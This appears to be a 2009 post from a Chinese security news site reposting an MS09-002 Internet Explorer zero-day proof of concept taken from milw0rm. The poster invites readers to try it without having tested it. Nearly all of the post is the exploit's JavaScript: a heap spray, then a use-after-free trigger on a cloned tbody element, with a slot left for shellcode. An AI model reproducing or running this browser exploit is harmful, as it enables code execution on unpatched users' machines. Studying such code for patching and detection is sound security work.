网络安全和数据安全:资讯、技术、法规、趋势。

忘记密码
“游侠安全网”创建了网络安全从业者QQ大群(群号:389710688) ,欢迎各位同仁加入!有其它问题,请联系站长“网路游侠”,QQ:55984512


最新:MS09-002 0day测试代码

2009-02-21 09:03 推荐: 浏览: 49 字号:

摘要:   游侠没有测试过,大家自己玩吧……呵呵。   MS09-002 0day  <!--  MS09-002  ===============================  grabbed from:  wget http...

  游侠没有测试过,大家自己玩吧……呵呵。

  MS09-002 0day
  <!--
  MS09-002
  ===============================
  grabbed from:
  wget https://www.youxia.org/default.html --user-agent="MSIE 7.0; Windows NT 5.1"
  took a little but found it. /str0ke
  -->
  <script language="JavaScript">
  var c="putyourshizhere-unescaped";
  var array = new Array();
  var ls = 0x100000-(c.length*2+0x01020);
  var b = unescape("%u0C0C%u0C0C");
  while(b.length<ls/2) { b+=b;}
  var lh = b.substring(0,ls/2);
  delete b;
  for(i=0; i<0xC0; i++) {
  array[i] = lh + c;
  }
  CollectGarbage();
  var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
  var a1 = new Array();
  for(var x=0;x<1000;x++) a1.push(document.createElement("img"));
  function ok() {
  o1=document.createElement("tbody");
  o1.click;
  var o2 = o1.cloneNode();
  o1.clearAttributes();
  o1=null; CollectGarbage();
  for(var x=0;x<a1.length;x++) a1[x].src=s1;
  o2.click;
  }
  </script><script>window.setTimeout("ok();",800);</script>
  # milw0rm.com [2009-02-18]

联系站长租广告位!

中国首席信息安全官
Copy link